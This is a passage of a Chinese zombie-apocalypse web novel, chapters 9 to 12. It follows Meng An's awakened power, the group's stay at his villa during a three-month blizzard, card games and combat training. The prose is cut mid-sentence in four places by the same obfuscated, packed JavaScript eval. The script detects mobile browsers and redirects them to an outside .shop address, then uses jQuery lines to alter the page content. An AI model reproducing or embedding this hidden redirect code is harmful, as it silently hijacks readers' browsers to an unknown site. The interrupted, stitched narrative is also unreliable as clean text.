空气里出现一道道扭曲的纹路,像玻璃上的裂纹,朝着四面八方疯狂蔓延。
几十只缓缓聚拢的丧尸在瞬息间被切割成无数纷飞的碎块,浓厚的血雾在半空中炸开。
加油站的立柱上凭空出现深可见骨的划痕,便利店玻璃齐齐炸裂,地面被无形的利刃撕开狰狞的口子。
这根本不是战斗,而是一场敌我不分的、单方面的毁灭。
青年站在彻底崩坏的中心,衣角被狂暴的空间乱流割得支离破碎,苍白的皮肤上渗出细密的血珠。
他仰起头,无声地大笑起来,在漫天飞舞的血雾和灰尘中,隔着暴动的空间对上了孟洝的眼睛。
孟洝感觉自己被某种看不见的力量重重推了一把。
他的意识好像漂浮在空中,看着自己的身体冲向了风暴中心。
明明我一点也不喜欢这个神经病……?他有些恍惚,这根本不像我能做出来的事。
孟洝低下头,他的手死死扣着谢三望冰冷的腕骨。
清冷而平稳的少年音响起,“已经够了。”
是我的声音……?
随即他的意识坠入一片深沉的,难以抗拒的黑暗。
细碎的淡金光点在空气中闪过,那些无形的狂躁裂痕潮水般退去,悬在半空的扭曲纹路逐渐淡化,最后彻底归于平静。
谢三望脸上第一次出现了全然的空白。
陈行泽接住了孟洝软下去的身体,打横抱了起来,声音很轻。
“让他休息一下。”
石韫玉两三步走过来,握着剑的手松了松。
……果然。
9. 允许返航
孟洝觉得自己像是被人蒙住头揍了一整晚,浑身骨头都在叫嚣。
他在沉沉黑暗的窒息感中睁开眼,发现自己泡在一片静谧的幽蓝,透明而黏稠的质地,泛着莹莹的冷光,淡金色的光点闪烁着落下,细细碎碎地铺满视野,很像小时候那种橱窗里的玻璃球,布灵布灵的。
这是……哪?
孟洝眼睫微颤,在冷白的皮肤上投下两道疏落的淡影。清瘦的少年站在幽蓝的正中央,脸上那点未褪尽的婴儿肥在烁金的光影里被削弱了几分,看起来梦幻又遥远。
他犹豫着掐了一把手肘上的肉,留下浅浅的红痕,但是没什么痛感。
原来是做梦啊……
谁家做梦梦得这么乱七八糟啊!
孟洝带着点好奇与惊艳打量周围,眼底映着流动的灿金与幽蓝,往远方无限延伸。
这液体很特别,明明摸起来会像水一样从指缝流走,踩上去却很凝实,大地般的触感。
他又伸手抓了一把跳跃的光点,五指展开却是一片空荡,细碎的淡金在他周身浮动。
奇怪,非常奇怪,这里没有任何生命存在的痕迹,却并不令人恐惧,反而透着股温软的,前所未有的安全感。
他试着往前走了几步,果然稳稳地被托在水平线上,于是他随意挑了个方向,一路往前走,涟漪在脚边层层荡开。
脑海里昏迷前的事开始像幻灯片一样哗啦啦闪过:加油站密密麻麻的丧尸,铺天盖地的风暴,扣住谢三望手腕时那股奇异的力量感……
这一幕猛地闪回来,迫不及待放大放大,孟洝内心的小人已经激动得摇了起来。
这暖洋洋的浑身充满力量的感觉,这稀稀落落但明显可疑的金点,异能!绝对是异能,我也太帅帅帅帅帅帅了吧!
但是……总感觉当时背后有什么东西使劲推了他一把!到底谁会在那种时候添乱!学长和石姐姐可都站在他侧前方啊?
孟洝皱着脸,呼啦呼啦晃了晃脑袋,试图暂时略过这个难题。
嗯,淡金色光点,幽蓝不知名奇妙液体,莫名很舒适的环境,淡淡的黑椒牛肉味,空无一人的……
等等,是不是乱入了什么奇怪的东西!
孟洝一顿,四面八方传来模糊又噪杂的声音,若隐若现,像信号不好一卡一卡的旧收音机:
“……这也可以?”
“……挺管用,你看他鼻子在动……”
“哇哦——小朋友要馋哭了。”
这欠扁的声音……
孟洝猛地睁开眼,瞬间从梦幻切换到了加油站灰扑扑的天花板。三张熟悉的脸占据了大半视野,一块鲜嫩多汁的牛肉稳稳落在C位,散发着令人垂涎三尺的香气。
他弹坐起来,白里透红的小脸上尽是茫然,身体的感知逐渐清晰起来。
他陷入了深深的震惊中。
请问加油站哪来的床?!还有,那块肉凑那么近也太可恶了吧!
陈行泽眼疾手快地带着那块肉躲开,呼呼吹了两下塞进嘴里,含糊不清道:“好吃,我就说这样他能醒。”
石韫玉瞥过去,那一眼里仿佛有千言万语,其中无语占了九成。她给怒而下床的孟洝搭了把手,‘贴心’地拎着他的后衣领放在地上。
孟洝把衣服往下拽了拽,冲她笑了一下,带着少年气的清爽。
真是个好人啊!
下一秒,他原本躺的床凭空消失,孟洝重心不稳一个踉跄,不敢置信缓缓扭头,眼里带着三分控诉七分不解。
石韫玉八风不动,极其自然地将一副碗筷塞到他手里,侧身露出了一口大锅。那锅咕嘟咕嘟冒着热气,带着勾人的饭香味和极致的诱惑。
孟洝立即被吸引,目光如炬冲刺过去,谢三望笑眯眯地给他让道。
咸香浓稠的肉菜汤入口的瞬间,孟洝发出了幸福的声音!浑身都洋溢着快乐的气息!
香菇带来的鲜与牛肉的醇在味蕾炸开,配上软烂的胡萝卜,浸透汤汁的腐竹以及口感绵密的土豆,简直欲罢不能。
“虽然是罐头凑合的,但是末世嘛,来一碗还是非常舒服的吧?”陈行泽在孟洝旁边坐下,两条无处安放的大长腿憋屈地收着,肩臂线条舒展,调子懒懒的。
孟洝忙着和土豆搏斗,只能“唔唔”地点头。
石韫玉细嚼慢咽,不疾不徐,清冷的侧脸浸在白蒙蒙的水汽里,像尊终于落了凡尘的冰雕。
“孟洝小朋友——”谢三望歪着头,黏黏糊糊地开口。
他吃东西的动作相当斯文,甚至有点受过良好教育的从容,看起来赏心悦目。
偏偏那张嘴很忙:“原来你喜欢吃土豆”“你刚刚好厉害啊”“我们下次试试烤变异鸡”……
孟洝已经全然沉浸在了干饭的喜悦中,自动屏蔽了他的声音,直到那种火烧火燎的饥饿感散去大半才慢下来。他抬头看了一眼,筷子在空中倏地滞住。
其他三人早就放下了碗,正整齐划一地盯着他。
更准确地说,是盯着他鼓鼓的脸颊和快出残影的手。
陈行泽啧啧称奇,轻声感慨:“这个年纪的孩子真是深不可测啊,我当年……”
孟洝放下碗,抹了把嘴,郁闷地发现自己竟然连干了五碗。以前他的饭量也就是青少年正常水准,怎么突然变成了超级大胃王!
石韫玉沉吟片刻,语气里带着一丝极其罕见的迟疑:“要不……再给你下点面条?”
“我还是第一次见到这么能吃的,”谢三望撑着下巴,眼尾勾起一个愉悦的弧度。“猪。”
一股滚烫的热意从孟洝脖颈一路烧上耳根,他赧然开口,声音低低的:“咳……不用了,真的饱了。”
“真的?”
“真的!!!”
-
四人麻利地收拾好碗筷。石韫玉指尖轻点,锅碗瓢盆瞬间在空气中消失。
往空间里存了满满几桶汽油后,几人又七拐八绕地避开满地的丧尸残片,进便利店逛了逛。
孟洝瞥了眼旁边一脸放空往兜里塞泡泡糖的青年,缓缓呼出一口气。
“学长,刚刚那算是我的异能吧?但是我感觉很奇怪……跟你不太一样?呃,就是,它好像不能甩甩手就出来。”
而且你们为什么一点也不惊讶?
青年专注地分辨着货架上各种牌子的标识,似乎对他发问毫不意外,甚至递给他一个泡泡糖,上面印着一个大大的,夸张的黄色笑脸。
撕包
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540241|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
装的声音次次啦啦响起,孟洝嘴里弥漫开清甜的葡萄味,纷乱的思绪渐渐清明。
还挺好吃。
陈行泽的声音一如既往,平静而散漫:“这样啊,我给你讲个故事吧。”
“从前有一位小朋友呢,他叫小C,他觉醒了一个帅裂苍穹的能力。”
面对孟洝浓浓鄙视意味的目光,陈学长选择无视它,自顾自讲了下去。
“小C既兴奋又激动,他带领同学从学校逃出来,他闭上眼,所指的方向即为最安全的地方,这种特殊的感应让他们几乎每次都能化险为夷。”
“很实用的异能啊……”孟洝若有所思。
“没错,小C声名鹊起,几乎所有人都认为他能带领人类找到最后的桃花源,然而仅仅两周后,他们便在一个地方全军覆没。”
这么强悍的能力果然有限制吗,孟洝手指微动,金色的光点在他脑海里一闪而过。
“那是座死城,几乎满是丧尸和危险的变异动植物,小C无往不利的能力偏偏在那次出了错。或许他的能力根本不是那样,谁知道呢?”
陈行泽直直地与他对上视线,眼里带着些许孟洝看不懂的情绪。
“你……”
“呀吼!孟洝小朋友~哦,还有泽泽啊,你们躲在这里干什么呢?”谢三望兴高采烈地从货架边缘冒出一个头,缓步走了过来,眼里泛起轻柔的笑意,像薄薄一池春水沏成的柳叶刀。
“哦——难道是在偷偷说什么小秘密?居然不告诉我。”谢三望故作委屈,目光轻轻扫过孟洝。
“那位冷冰冰的小姐,这里有两个人孤立你呦~”
石韫玉噎了一下,转身出了便利店,长发甩出利落干净的弧度,“别磨蹭了,准备出发了。”
孟洝有点认命的意味,叹了口气,世界上怎么会有每次烦人都如此精准的存在!
一道伤害性不大侮辱性极强的轻拍落在孟洝头上,温热的触感转瞬即逝,孟洝捂着头顶,咬牙切齿地盯着揣着一兜糖潇洒离去的某学长。
啊啊啊啊啊欺人太甚!
离开加油站时,谢三望‘如愿’上了他一直‘默默’追随的SUV,并得到了陈队长霹雳带闪电的亲切关照和俩队员毫无波动的热烈欢迎。
谢三望忧郁地坐在后座,用吟游诗人般的顿挫语调和真情流露的漂亮脸蛋对着车窗独自垂泪:“啊,我只是想报答热心的孟小同学奋不顾身对我伸出援手,泽泽居然这样对我,我真的好伤心……”
他扭头用那双带着泪花而波光粼粼的眼睛望向副驾驶恨不得离他十万八千里的孟洝,脆弱而忧伤。
“我真傻,真的……”
陈行泽抱着臂坐在他旁边,肩膀上肌肉因用力而绷紧颤抖,额角突突跳动,看起来随时都要暴走。
石韫玉不动声色地摸出一张符贴在了耳朵上,神情微微一松,符逐渐消失在空气中。
孟洝的脸已经犹如苍山上经年不化的冰雪般寒气四溢,拒人于千里之外的冷漠如有实质。
啊,或许我已经拥有去大润发再杀十年鱼的资格了,孟洝想。
车轮碾过未曾开辟过的杂乱荒草,伴随命运漫不经心的指引,缓缓驶向渐渐展开的、南辕北辙的未来。
10. 此间澄然
天空低垂,城市边缘萧肃的风卷过街道,车轮碾过枯叶,沙沙地驶进铅灰色的铁门,冰冷繁复的雕花蛇状盘蜒。
一座座别墅整齐地列在道路两侧,立面光洁,窗子黑沉沉的。引擎声沉闷而平稳,落在静谧的空气里,仿佛天地间仅剩这一处喘息。
孟洝手肘靠在车窗上,沉默地看着两侧逐渐幽深的草木,清浅的呼吸声荡在一片静默的SUV里。
谢三望不知何时停了他那不大不小正好烦人的动静,孟洝侧目望去,面容秾丽的青年闭着眼,单薄的身体随着呼吸微微起伏。
他似乎感受到视线,蓦地掀开眼,波光粼粼又深冷的一潭,转而被温温柔柔的笑意遮盖。
好假。孟洝收回了视线,恰巧经过一处路口。他声线清亮平直,给驾驶座上一心开车面色疏冷的石韫玉指了接下来的路,还在变声期的嗓子带着点低低的沉。
“孟洝小朋友~你刚刚是不是在偷看我啊?”黏糊又惊喜的声音,舌尖裹着蜜,仿佛藏不住满怀期待的少女心事。
陈行泽垂在身侧的手微微颤了一下,车里响起极轻的噼里啪啦的声音,随后淡淡的糊味弥漫开。
谢三望捻住那根刚刚掉落就惨遭酷刑的头发,黑色的碎渣簌簌落下。
他笑起来。
-
“啊,到我家了。”熟悉的房子映入眼帘,孟洝微微晃神,明明只是几天没回来,却恍若隔世。
陈行泽从后面按住了孟洝的脑袋,新奇地打量前方,震惊喃喃道,“嚯,真华丽。”
呃,这难道就是陈姥姥进大观园(?
孟洝冷不丁笑了一下,眼里的无语与嫌弃快要溢出来,他一把将那两只重重摁着他的爪子掀了下去,少年平静的侧颜压不住满腹的鸟语花香。
SUV一个干净利索的摆尾,分毫不差地停在了花坛旁的空地里,石韫玉熄了火,率先跨出了车门。
谢三望已经蹿到几米远,神色专注,似乎对栅栏上的一处青痕产生了浓厚的兴趣。
孟洝开了门,一行人跟在他身后溜溜达达地走进去。谢三望不知何时又黏了上来,像条滑不溜秋的鱼。
沉寂了几天的别墅终于再次迎来活气,灰尘在昏暗的光线下缓缓浮动。
地下室里,孟洝对着备用发电机和储水系统一番捣鼓。
大功告成,他拍了拍衣服上的灰,叉了会儿腰,表情淡淡中散发着得意而闪亮的光芒。
我真厉害,他心想。
旁边的桌子上放着一本笔记,封面上手写的字苍劲有力,孟洝看着它发了会呆,然后抬脚上楼。
陈行泽在楼梯上等着他,慢吞吞扫过来,“怎么搞这么长时间?”
“已经很快了。”孟洝跟他一起离开了地下室。
别墅里的灯暖烘烘地亮着,透过窗户打在庭院,在逐渐暗淡的天色里孤独而温柔。
“唔,楼上靠东边的几间是客房。”孟洝偏头对着客厅里的几人说,然后进了厨房。
少年清亮的声音遥遥传来,“你们可以挑个自己喜欢的。”
谢三望嬉皮笑脸地说,“那我要选一个跟孟洝小朋友——”
陈行泽额角微跳,一个白色物体呈抛物线状飞了出去,紧接着是一堆东西在空气里快活地飞翔,又被灵巧地接住。
孟洝被这巨大的动静吓了一跳,探身往客厅一看。
孟洝:“……”
不知过了多久,吵吵嚷嚷的声音才逐渐归于平静,孟洝松了一口气,继续处理石韫玉拿出来的食材。
石韫玉站在窗前,目光越过庭院,落在一朵艳丽多汁的花,两侧叶子七零八落。然后她转头,看向靠着门的那位。
陈行泽正好也在看她。
两人目光相接的瞬间,达成了某种无需言语的同频。
-
谢三望正窝在沙发里,手中的刀灵活地转了一圈。听到脚步声,他抬起头,笑容粲然。
“你们也想要吗?”他将手中的东西举起来晃了晃,眼里烁着点澄澈的光,那是片宽厚的叶子,被雕出一个栩栩如生的小猫图案,精致小巧。
陈行泽站在沙发前,居高临下地看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540242|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他。
“嗨呀,泽泽,这是要干什么啊?怎么一副审犯人的架势。”谢三望将手中的东西轻轻放在茶几上,金棕色的眼眸抬起,真真是委屈又可怜。
“你想看我的异能,我可是乖乖照做了。”
“哦。”
谢三望表情一滞,他手指微蜷,又挂起一个大大的笑脸,无辜而诚恳。
陈行泽侧过身,看向一直沉默站在窗边的石韫玉。
石韫玉走过来,步伐轻缓从容,带着一贯的沉静。
她摊开手,掌心躺着一张轻薄的黄符,朱红色的繁密符文交织。
“只是约束,你的异能太不稳定了。这张符能够帮你控制你的能力。”石韫玉难得话多,屈尊纡贵开口道。
“我可以拒绝吗?”
“不能。”
陈行泽插着兜,神情倦怠,仿佛下一秒就要睡过去,语调轻飘飘的,那股微妙的压迫感却丝毫不减。
“……好吧。”谢三望叹了口气,像被戳破了的气球,把袖子往上一撸,露出苍白的手腕。
符纸在皮肤上一闪,然后渐渐消失,留下一丝微烫的触感。他活动手腕感受了几秒,似乎是轻嗤了一声。
“啊——你们几个合伙欺负人了……”他向后靠进沙发里,紧绷的肩背放松下来,拖长了语调不满大叫。
孟洝一脸状况外从厨房里探出头,懵逼地望着客厅里的场景。
陈行泽身高腿长,轻轻松松几步跨过来,勾着孟洝的脖子又消失在了半掩的门里。
孟洝被迫跟着走,抽空看了一眼客厅——谢三望冲着他疯狂招手,浮夸地扭动着手腕。
他面无表情地转开脸。
“发生了什么……?”
“给他个小玩意,我饿了,我要吃东西,好困……”
隐隐绰绰的抱怨声和低低的回应从厨房传来。
石韫玉看起来有些无语,翻了个白眼转身上了楼,像是懒得搭理这群人。
谢三望见状收敛了他的表演,低下头又捡起那几片叶子,愉悦地哼着小调。
11. 风雪来信
孟洝窝在熟悉的大床里,睡了末世以来最深长的一觉,他伸了个懒腰,趿拉着拖鞋走到窗边,一把拉开窗帘。
蒙蒙的光透进来,却比平时刺目些许,他打着哈欠抬起眼。
哈?!!
他目瞪口呆地看着那白茫茫的一片。
昨日还苍翠欲滴的草木被深厚的积雪覆盖,庭院里的SUV只剩一个臃肿的白影,大雪抹平了道路与栅栏的界限,小径上铺满了惨淡肃穆的雪。
孟洝走出房间,敲了敲隔壁的门,没有回音。他后退了几步,一把推开另外两扇门,床铺微凉,空无一人。
他两三步冲下楼,心跳声咚咚,凌乱的脚步声荡在空落落的房子里,偌大的客厅寂静冷清。
隐隐约约的嘶啦声从地下传来,他垂在身侧的手指微动,凝神听了几秒。
-
“呲……大雪…一夜之间落下……请各位幸存者……不要放弃……寻找保暖设施……”
“重复……这里是CBSC应急广播,我们已在京城……初步建立安全基地。本基地由原京城军区……及华北地区现存各职能部门联合组建……”
“现面向所有……开放……请一定、一定……不要放弃……”
孟洝冲进地下室,就听见他家那台旧收音机艰涩地发出断续苍劲的男声。纵然夹杂着浓重的电磁干扰,那声音却有着令人心安的、不容置疑的厚重感。
不要放弃……
他怔在原地,苍白的唇抿起,温热的液体砸在手背上。
“好了不哭不哭,别怕别怕……”
陈行泽蹲在少年身前,手里拽着几张纸巾,语气温柔。
孟洝挡着脸扭过头去,鼻音浓重,努力稳着声线,“我……那是高兴……”
谢三望刚张开嘴就被一个硬物重重肘击,他捂着肚子呲牙咧嘴,石韫玉面不改色地收回剑鞘,神情自若。
-
煽情的氛围随着谢三望的痛呼烟消云散,紧接着,一声极其响亮的腹鸣声在地下室回荡开来。
孟洝捂着肚子,耳根通红。
十分钟后,四个人围坐在客厅的茶几旁,气氛比面对丧尸潮还要凝重。
茶几正中央,赫然摆着一副不知从哪个抽屉里翻出来的扑克牌,还缺了个角。
窗外大雪封山,暂时是别想出去了,眼下的核心矛盾在于:谁去做饭。
处理食材倒还好,真要上锅炒,在座的四位,厨艺可以说是半斤八两、卧龙凤雏。
“规矩很简单,谁输了谁进厨房。”陈行泽大马金刀地敞着长腿,冷笑一声,“先说好,就算做出来的是毒药,也得捏着鼻子吃完。”
“没问题~”谢三望笑眯眯地洗着牌,修长的手指在纸牌间翻飞,“我可是很期待给各位展示我的手艺呢。”
“唰——”
石韫玉指尖夹着一张明晃晃的黄符,眼神冰冷地盯着谢三望的手腕,意思很明确:敢用异能作弊,手给你剁了。
谢三望嘻嘻一笑,将牌一张张扔到每个人面前。
孟洝绷着脸,全神贯注地盯着手中的每一张牌。
还好……他透过牌缝暗暗观察着几人的表情。
学长还是那副懒懒的样子,手里松松地捏着牌,眼皮微敛。
石姐神情淡漠,半张脸隐在展开的牌面里,只露出一双沉静的眼。
谢三望哗啦啦地将牌重新排列,嘴角晃着轻快的笑,看起来牌不错。
大家好像都很有把握的样子!孟洝紧张地吞了下口水,莫名郑重了起来。
气氛紧张而激烈,无形的火花在空气里噼里啪啦地震颤。
“对4。”陈行泽气势如虹,将两张牌甩在光滑的桌面上。
“跟。”
“截。”
“要不起。”孟洝声线微颤,瞳孔地震——不是,谁家好人用对A截啊!
谢三望晃了晃手中的牌,羞涩地抿唇一笑,“不好意思啊,运气好。”
他又接连扔下几张,手里的牌顺得不可思议:
“三带一。”
“顺子。”
谢三望又笑了一下,声音清冽如泉,说出来的话却极度欠揍,“我还剩两张牌呦~”
这家伙真的没作弊吗?!孟洝看着手里几乎没动过的牌,无语凝噎,泪眼汪汪。
此时石韫玉清冷的声音宛如天籁般响起,无情打断了某个嚣张的家伙:
“炸。”
四张六整整齐齐地排在桌面上,无声而耀眼。
“嚯。”陈行泽惊叹一声。
谢三望笑意盈盈地做了个“请”的手势。
石韫玉看起来十分淡定,手里的牌刷刷落下,转瞬只剩最后两张。
她将牌轻轻按在桌上,抱臂扯了下嘴角,带着股世外高人的装逼范儿。
“厉害厉害~”谢三望毫不走心地夸赞着,轻飘飘丢出牌。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540243|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“到我了。”孟洝沉稳地深吸一口气,小心翼翼甩出一张9,他试探性地看了看陈行泽。
陈行泽面无表情:“过。”
谢三望笑吟吟地摊手:“过。”
孟洝压平了微翘的嘴角,又抽出两张:“对7。”
“过。”陈行泽连眼皮都没抬。
“过。”谢三望依旧笑眯眯。
孟洝眼睛亮晶晶的,轻咳一声故作镇定,牌桌被他一个人铺了小半。陈行泽和谢三望像是商量好了似的,一个比一个“过”得干脆。
终于,孟洝猛地站起来,把最后两张牌重重拍在桌上,脸上是显而易见的开心,“我走啦!”
石韫玉看着兴高采烈的少年,眼神不易察觉地柔和了一瞬。
陈行泽慢慢掀了下眼,从手里的一摞牌里又抽出一张7。
谢三望笑了,眼睛弯成月牙:“不好意思,单张A。”
他把那张牌轻轻放在桌上,往后一靠,拍了拍衣角并不存在的灰:“泽泽,你输了。”
陈行泽盯着手里剩下的四张牌——一张比一张小,连个对子都凑不齐。他皮笑肉不笑地把牌一扣,起身往厨房走。
“啊,对了学长,柜子里有围裙……”
陈行泽又冷冷转头,把那条幼稚的印着小猪佩奇的围裙系在身上,背影气势汹汹。
石韫玉友情赞助了两把挂面和几个之前在商场搜刮的鸡蛋。当陈行泽端着四碗热气腾腾、卧着金黄煎蛋的清汤面重重砸在餐桌上时,客厅里的另外三人都沉默了。
“学长,”孟洝看看那碗卖相极佳的面,又抬头看看系着粉红围裙、脸臭臭的青年,眼底冉冉升起了真心实意的震撼和崇拜,“你的厨艺这么好吗?!”
石韫玉端起碗,默默吸溜起面条,动作优雅,风卷残云。
“泽泽~”谢三望单手托腮,狡黠地露出洁白的牙齿,那腔调一听就没憋好屁,“你这算不算传说中的人夫——”
他弓下腰,闷哼与喘息溢散在暴动的蓝紫色电弧中。即使被电得浑身颤抖,他仍顽强而挑衅地吐出了最后一个字:“……感。”
电光停滞了一瞬,随后以十倍的亮度骤然暴涨,狂躁的火花如流星般在客厅四溅。
窗外是铅灰色的天穹,足以埋葬旧文明的万顷风雪无声肆虐,而在这座孤岛般的屋檐下,未知前路的幸存者们围着氤氲的热气插科打诨,刺骨的末日寒意尽数留在了门外。
12. 澜山日常
起初人们并未在意那场大雪,直到……
直到这玩意不知疲倦地下了整整三个月!
孟洝巴巴望着窗外日复一日的白,从最开始的震惊逐渐到麻木,最后化作一片波澜不惊。
在这暗无天日的银白囚笼里,那台爷爷辈的破旧收音机成了全队唯一的希望,据说陈行泽每天晚上满怀虔诚祷告三次希望它能撑住。
孟洝本来以为只有陈行泽一个人紧张兮兮,直到某天半夜,他渴醒起来找水喝,迷迷糊糊路过客厅,借着微弱的雪光,悚然发现石韫玉正孤身立在黑暗里,手起符落,快准狠地将一张朱红符纸轻轻贴在那充满年代感的破旧外壳上。
又或许是某天又多了一块眼熟的巧克力吧,端正地放在茶几正中央面前直挺挺插着三根意面的收音机旁。
哈哈,孟洝瘫着一张帅脸抬头望天,嘴角带着习以为常的抽搐。
-
“雪快停了。”陈行泽此时正倚着窗框,呈45度角忧郁地凝视着铅灰色的天空,嗓音低沉,仿佛在念一段史诗的旁白。
“你怎么知道?”少年清亮中带着疑惑的声音在他身侧响起。
“卧槽!”陈行泽像被踩了尾巴的猫,如临大敌般瞬间弹出两米远。他心有余悸地回头,摸着下巴陷入沉思,“难道你的异能其实是隐身吗?”
孟洝梗住了,他在心里为学长那已经飞出银河系的脑回路啪啪鼓了鼓掌,面上仍是死水般的淡定,语调略显无语,“我一直站在这。”
“哎,这你就不知道了吧。”陈行泽老神在在地凑过来,一把揽住孟洝的脖子,强行带着他一齐面向那扇看了三个月的窗户,语调忽然变得严肃而深沉:
“这,就是知识的力量!是气压、温差与大气环流的魅力,吧啦吧啦……”
在燃什么……?孟洝被他勒得目光涣散,表情写满了痛苦与无措。
陈行泽发现他唯一的学生似乎在走神,于是变本加厉地晃了晃少年的脑袋,试图唤回他对知识的热爱,“小孟同学,即使末世了,也要不断进步啊。”
他压低声音笑起来,带着某种让孟洝后背发凉的森森的味道,“毕竟,你还没有完成高中那迷人又灿烂的学习啊!”
“不,我拒绝……”
孟洝话还没说一半,就被陈行泽连拖带拽地往书房拎。
路过客厅时,他看到了正坐在沙发上优雅喝茶的石韫玉,仿佛抓住了救命稻草,眼睛瞬间点亮,奋力挣扎,“韫玉姐,救我——”
石韫玉慢条斯理地放下茶杯,冷清的眸子在孟洝身上转了一圈,若有所思地说:“反正困在这里也是闲着,温故而知新,好像也不错。”
孟洝:“?”
心碎的声音在安静的别墅里清晰可闻。
孟洝一脸无神地被拽进了书房。紧接着,谢三望那惊天动地,唯恐天下不乱的狂笑声在偌大的别墅里横冲直撞,经久不息。
世界停摆的第三个月,孟洝被迫捡起了他的五三练习册,真是可喜可贺啊!
-
深蓝色的藤蔓隐在被积雪覆盖的浓密树叶里,恰巧卡在了视野盲区,它缓慢伸出一根细韧的分叉,密刺在暗淡的灰白中闪着妖冶的光,悄无声息地靠近了少年毫不设防的后背。
少年穿着件深灰色的冲锋衣,修长的手指被纯黑的战术手套包裹,长身玉立,神色冷漠,淡色的唇抿成一条线。
他右手提着一根长长的撬棍,尖端锋利,带着深红的碎肉组织,黑褐色的血滴滴答答地落在雪地上,开出一朵朵深色的花。
藤蔓猛然逼近,如离弦之箭狠狠刺向少年,却在接触的一瞬顿住,尖端迅速呈现枯黄的色泽,孟洝眼神一凛,反手抓住那截枯藤,倒刺在触碰到他掌心的刹那收敛掉落。
他紧紧扯住那截在他手中失去生机的藤蔓,枯黄逐渐蔓延至远处潜藏的主藤,
“嗯,不错不错!”陈行泽散漫的声音突兀响起,带着毫不掩饰的欣赏和自恋,仿佛对自己的教学十分满意。
孟洝一个激灵,差点让手中冰凉的藤蔓滑落,他无语地顶了下腮,凝神送那株藤蔓魂归西天。
藤蔓的触感逐渐变得脆硬,孟洝轻轻一用力,手中的藤蔓化成干灰落下,扬起的粉尘差点打到自己嘴里。
孟洝后退两步,拍了拍衣服上的灰,抬眼看向前方不远处。
在变成一堆灰黑藤蔓的中央,一个亮晶晶的东西正闪着幽蓝的光芒,在冷白的雪地里格外显眼,伴着规律的脚步声,一双笔直有力的腿停在那前面。
石韫玉蹲下身,捡起了那颗小小的晶核,擦了擦灰递给孟洝。
孟洝对她笑了一下双手捧着接过来,少年带着点婴儿肥的脸看起来很乖,也很顺眼。
石韫玉轻轻勾了下唇角,清冷的脸微微软化,初雪消融般惊艳。
经过三个月的朝夕相处,孟洝已经充分认识到了四人的地位,掌握温饱大权的韫玉姐绝对绝对不能得罪!
不然……孟洝脑海里晃过某个玩着刀的家伙饥肠辘辘的样子,表情更加乖巧。
陈行泽晃过来揽住孟洝,使劲拍了拍他的背,洋洋得意,“哈我就说我的特训有用吧小孟同学!”
孟洝“嗯嗯嗯”地点着头,刚才那凌厉的气势一扫而空。
不远处谢三望拿着一根细长的银色长矛,变异鱼在上面成串排列,他咧着嘴笑得很开心,旁边观景湖上的厚冰被暴力破开一个大洞。
那是开发商专门投放的观赏鱼……孟洝在内心扶额叹气,算了,都末世了,他不嫌麻烦就行。
他微微抬眼,脑海里闪过这漫长的三个月的一幕幕。
-
那是大雪纷飞的第一个月,道路被延绵的雪掩盖得几乎不见踪影,丧尸和各种变异生物仿佛都被极寒埋葬,找不到一丝存在的痕迹,目之所及全是惨淡的白。
石韫玉早在进入别墅第一天就在四周贴上一圈黄符,确保即使有只苍蝇靠近都能感觉到。
旁边陈行泽一脸期待地看着她,石韫玉闭目片刻,睁开眼摇了摇头。
陈行泽眉头微皱,凝重地嚼着泡泡糖,含混不清喃喃道,“敌人静悄悄,必定在作妖……”
“但是这种天气真的有东西能行动吗?”孟洝看向窗外快齐人小腿的积雪以及近乎零下几十度的气温真诚发问。
幸好房子里有地暖……孟洝感受着暖洋洋的空气眯了眯眼。
“嗯,虽说末世后抗寒能力提高了,这种温度估计也遭不住吧。”陈行泽吹出一个巨大的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540244|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泡泡,破裂时发出清脆的声音。
“或许它们是困了在睡觉呢~”谢三望笑眯眯地插口,反着跨坐在一张椅子上,手肘随意地搭着深黑色的皮质椅背。
休眠吗……这么说也很有可能欸!孟洝眼神一亮,正想等着学长的判断。
“嗯,再等等看吧。”陈行泽不负责任地丢下一句,双手搭在后脑勺上,晃晃悠悠上了楼。
